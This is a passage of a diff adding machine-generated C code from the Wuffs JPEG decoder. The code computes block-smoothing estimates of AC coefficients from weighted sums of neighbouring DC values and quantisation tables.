wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); ++ v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); ++ v_scratch += ((uint32_t)(4294967282u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); ++ v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); ++ v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); ++ v_scratch += ((uint32_t)(4294967291u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); ++ v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); ++ v_scratch *= v_q_00; ++ if (v_scratch < 2147483648u) { ++ v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } else { ++ v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } ++ self->private_data.f_mcu_blocks[0u][2u] = ((uint16_t)(v_scratch)); ++ } ++ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][3u])); ++ if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][3u] == 0u)) { ++ v_scratch = 0u; ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); ++ v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); ++ v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); ++ v_scratch *= v_q_00; ++ if (v_scratch < 2147483648u) { ++ v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } else { ++ v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } ++ self->private_data.f_mcu_blocks[0u][3u] = ((uint16_t)(v_scratch)); ++ } ++ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][8u])); ++ if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][8u] == 0u)) { ++ v_scratch = 0u; ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); ++ v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); ++ v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); ++ v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); ++ v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); ++ v_scratch += ((uint32_t)(38u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); ++ v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); ++ v_scratch += ((uint32_t)(4294967283u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); ++ v_scratch += ((uint32_t)(4294967258u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); ++ v_scratch += ((uint32_t)(4294967283u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); ++ v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); ++ v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); ++ v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); ++ v_scratch *= v_q_00; ++ if (v_scratch < 2147483648u) { ++ v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } else { ++ v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } ++ self->private_data.f_mcu_blocks[0u][8u] = ((uint16_t)(v_scratch)); ++ } ++ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][9u])); ++ if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][9u] == 0u)) { ++ v_scratch = 0u; ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); ++ v_scratch += ((uint32_t)(9u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); ++ v_scratch += ((uint32_t)(4294967287u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); ++ v_scratch += ((uint32_t)(4294967287u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); ++ v_scratch += ((uint32_t)(9u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); ++ v_scratch *= v_q_00; ++ if (v_scratch < 2147483648u) { ++ v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } else { ++ v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } ++ self->private_data.f_mcu_blocks[0u][9u] = ((uint16_t)(v_scratch)); ++ } ++ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][10u])); ++ if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][10u] == 0u)) { ++ v_scratch = 0u; ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); ++ v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); ++ v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); ++ v_scratch *= v_q_00; ++ if (v_scratch < 2147483648u) { ++ v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } else { ++ v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } ++ self->private_data.f_mcu_blocks[0u][10u] = ((uint16_t)(v_scratch)); ++ } ++ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][16u])); ++ if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][16u] == 0u)) { ++ v_scratch = 0u; ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); ++ v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); ++ v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); ++ v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); ++ v_scratch += ((uint32_t)(4294967291u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); ++ v_scratch += ((uint32_t)(4294967282u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); ++ v_scratch += ((uint32_t)(4294967291u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); ++ v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); ++ v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); ++ v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); ++ v_scratch *= v_q_00; ++ if (v_scratch < 2147483648u) { ++ v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } else { ++ v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } ++ self->private_data.f_mcu_blocks[0u][16u] = ((uint16_t)(v_scratch)); ++ } ++ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][17u])); ++ if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][17u] == 0u)) { ++ v_scratch = 0u; ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); ++ v_scratch += ((uint32_t)(4294967293u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); ++ v_scratch += ((uint32_t)(3u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); ++ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); ++ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); ++ v_scratch *= v_q_00; ++ if (v_scratch < 2147483648u) { ++ v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } else { ++ v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); ++ } ++ self->private_data.f_mcu_blocks[0u][17u] = ((uint16_t)(v_scratch)); ++ } ++ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][24u])); ++ if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][24u] == 0u)) { ++ v_scratch = 0u; ++ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); ++ v_scratch += ((uint32_t)(0u * 